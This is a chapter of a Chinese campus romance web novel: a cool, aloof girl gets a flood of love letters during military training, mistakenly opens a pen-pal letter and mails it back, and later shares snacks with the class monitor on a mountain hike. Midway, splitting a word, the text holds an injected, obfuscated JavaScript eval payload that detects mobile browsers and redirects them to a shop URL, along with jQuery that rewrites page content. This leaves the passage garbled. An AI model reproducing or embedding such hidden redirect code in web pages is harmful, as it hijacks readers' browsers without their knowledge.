纪明禾没要学校的军训服,一来不想多花八十多块钱,二来她开学之前已经想到这茬。
初中那套是穿不下了,和隔壁的曲海英说好了,万一七中要军训的话,就借她闲置下来的那套,一天给一块钱的租金。
军训服本来平时也穿不出去,不是纪明禾来问,曲海英都忘记柜子底还塞了这玩意儿。拿出来一股樟脑丸的臭味,她贴心地洗干净了才给出去。
衣裤尺寸偏大两个码,纪明禾把宽阔的衣摆塞进迷彩裤,再用军绿色的皮带紧紧系住。
这样一来,脊背弧线到腰际便骤然窄细,加之她的皮肤冷白,压低的帽檐下颌骨弧度流畅清晰,从阵前走步时,许许多多眼光前仆后继往这边投。
“叫什么名字啊?”有人趁五分钟休息小声议论她。
“纪明禾啊,以前二中的。”青春期男生看着她包裹在长裤里笔直的腿,毫无意义地遐想,“能快进到运动会就好啦……”
“你小子。”他们心照不宣地笑起来。
“他们笑什么?”邱正完全不知道他们在说的事和运动会有什么逻辑关系,推了推眼镜,不耻下问地转向李景川,“你听懂没?”
李景川脸色差得很,没理会他,反而对那群男生喊了声,“无不无聊!”
声音扬得高,旁边的女生也望过来,纪明禾侧眸一扫,男生们个个缩着脖子躲,又是笑声一片。
李景川唇角抿得笔直,邱正关心他,“你是不是中暑了,看着燥燥的。”
燥么,从那天送纪明禾回寝室、听到她和宿管阿姨的对谈起,李景川心里边就真正没平静过。
从前么,因为纪明禾总是对江亦辰爱搭不理,而后者总是孜孜不倦地往上凑,他气好兄弟这不值钱的模样,免不了对纪明禾有点偏见,觉得她装。
可她……暴雨天女孩儿清晰而潮湿的声音仿佛留在耳边,李景川“啧”了声,狠搓了一把头发,“别烦。”
邱正一脸问号:“……”
不出两天,一七班有个冷颜美女的事就传遍学校了,论坛有帖子冒出来,标题像加密通话似的——“1.7的JMH有没有NPY?”。
顶了上百回复之后,知情人士回帖友好提醒,“兄弟洗洗睡吧,二中有人追了她三年,人家鸟都不鸟你.jpg”
顺便有图有真相地送上旧帖链接,有人从几年前开始在二中论坛打卡,看哪天能追上纪明禾。
发帖人怂了但自信:她在等我。
楼下看官自发发起呕吐接力。
纪明禾没有手机,从来不逛BBS,对这种事也不关心,本来有女生想和她分享帖子内容,又被她那三米之内寸草不生的模样吓跑。
真正意识到麻烦上身,是某日军训结束回宿舍楼时忽然被宿管阿姨喊住。
“纪明禾?”
宿管招手让她过去,“有你的信。”
小窗口下的梨木桌上摆着花花绿绿五六封信件,纪明禾盯了一眼,在左边第一封的面上看见自己的名字。
伸手拿了,宿管又笑,“还有呢。”接着她把桌上的信一股脑儿往外推,“都是你的。”
“……”
纪明禾懒得收,但更懒得听宿管烦——信件不能直接送进女生宿舍的,这些都是贴了邮票先送到邮局,而后戳了章子由邮递员送过来的,宿管必须把它们管理好,并且送到对应同学手中。
如果有错漏,又或者被人举报,宿管工作不保。
罢了,纪明禾把信件全部收回寝室,到徬晚有空的时候想出个主意,她一封封把邮票剪下来——纪淑芳之前有集邮的习惯,后来因为某些原因搁置。
纪明禾把这些邮票收集下来,周末带回去看看姑姑喜不喜欢。
她剪下邮票收藏的事极快地传开,男生们开始有意识地购买新颖或者值钱的邮票贴在信上,力求她能看得上。
各式各样的邮票被收进塑封袋,纪明禾的剪票工夫日益纯熟,三秒一封不在话下。
这么粗糙地处理着信件直至第五日,一张月兔邮票落进掌心时,她倏然瞥见这封信上的收信人并非是自己。
信已经剪开了,信纸也损伤了部分。
封面上字体端正,笔锋苍劲老道,一看便知其主人极深的书法造诣。
收件信息上没有详细的班级和姓名,只写“江城第七中学A栋宿舍,刃下(收)”,寄信人地址在天福路附近,名字叫“夜溪”。
是同城笔友交流?
纪明禾展开信纸,准备查看受损情况。
[刃下君:
展信佳。上月在《青年文摘》上看到你的交友宣言便觉投缘,三番迟疑,冒昧来信,实在由于本人亦将“孤独一点,在你缺少一切的时候,你就会发现,你还有个你自己。(注1)”一句奉为人生圭臬。
不知你是否与我一样,比之名声在外的《边城》,更爱《湘行散记》中诗意而神秘的湘西世界。夜泊深山……]
之类云云,几乎一整页都在说沈从文的书,纪明禾匆匆扫了一遍,大概意思就是这位笔名为“夜溪”的女孩为提升作文能力,在杂志上找笔友通信,却不经意偶遇知己,冲动写了此信。
“敬盼回复”四字留在结尾,纪明禾头痛地看着差点被她剪成两半的信纸。
直接送回宿管那?只怕“刃下君”看到信件成了这样,都不一定愿意夜溪成为笔友,解释缘由?纪明禾无法确定这位刃下什么时候去取信。
那么把误收的事另附纸条放进信里?
纪明禾觉得这是最好的办法,可惜把信重新封好送到宿管那,阿姨却不肯收,声言,“这信没经过邮局我不能收。”
可能是上边怕怪罪她看管信件不力吧,纪明禾只得把取错信的事揽于己身,从收藏中取出一张普通邮票,徒步去了邮局,她按照原地址把信寄回给了“夜溪”,并为这次失误道歉。
军训七天很快结束,最后一日,学校安排大家去庆云山做野外拉练作为闭幕式。
这天温度骤然飙升,但只要不上学,或者能够离开学校,同学们就当做是玩耍,热情照样高涨。
体
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481826|201789||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力不好或者有特殊情况的同学充当志愿者,乘缆车往各个补给点给同学们看管矿泉水、能量饮料或者半路背不动的行李,其余人以班级为单位从山脚出发,争先恐后往上赶。
李景川在第二个补给点赶上纪明禾的,她坐在道路旁的一块平坦的石头上,黑色书包放在一边,手里捏着一支水,仰面极慢地饮。
塑料瓶口在唇瓣压下一小块靡红,她的唇色润泽。
阳光落在白皙修长的脖颈,几近透明的皮肤上,细细的淡青色血管蜿蜒。
似乎脆弱到一握就碎。
虽然知道纪明禾绝非如此,但此情此景,不得不让李景川对她递出橄榄枝——友好的、或者“可依”的。
“有水吗?”李景川咳了声,将就她的位置,也在石上坐下了。
两人隔开一小段距离。
但年轻男生身上滚烫的温度似乎没有边界感地传染过来。
纪明禾立即往旁边让开更远的一段,下巴一点,示意李景川去问对面的志愿者。
“……”说句话能死啊,还有!突然移开了什么意思?!李景川睨她一眼,觉得真是好心被当做驴肝肺,过去拿了水,踱一圈,还是回到石头上坐下。
纪明禾看了他一眼。
李景川拧开水,仰着头“咕噜噜”喝了小半瓶,而后自言自语地解释,“也没别的地方能休息了……”
他转向她,“是不是?”
纪明禾不响。
李景川只好拿出杀招,卸下右肩的背包带,他把背包捞进怀里,漫不经心问,“吃点东西?”
纪明禾响了,翕动鼻翼往他的背包里面探,“有什么?”
真不客气啊!李景川磨磨牙齿,干脆把背包往两边掰送到她面前,嘴巴里说着,“你想吃什么,自己选吧。”
因为拉练预计费时一整日,今天来参加的同学或多或少都带着零食或者饭盒,纪明禾也不例外,早上在食堂买了包子,但她准备留到一会儿十二点正餐时间再吃。
纪明禾不客气把手伸进背包去挑选,一边问,“可以拿几个?”
什么啊,突然靠这么近,风一吹,细细的长发都扫到手臂上来了,李景川鼻子有点发痒,摸了摸,望着天:“想拿几个拿几个呗。”
说完这话,纪明禾反而收手了。
“怎么了?”李景川想,这次酸甜香辣的零食都带了些,不能没有她喜欢吃的吧?
纪明禾笑了下,“我以为是你保管班级补给。”
前些天选班干部,李景川当选班长的。
谁说班级有补给了?李景川瞥她一眼,“不是班级补给你还不吃,怕我给你下毒啊?”
说着把背包往腿上放,顺手从里面拿出一包薯条,“撕拉”一声打开,封条末端摇摇晃晃挂在一边,他把它送到她面前。
运动消耗太多能量,再不补充大概坚持不到山顶,纪明禾要接,那人又稍微收了手,她抓个空,盯他一眼,再伸手捏住袋子,拽到自己眼前。
李景川哼了声,嘴角微勾,“德行。”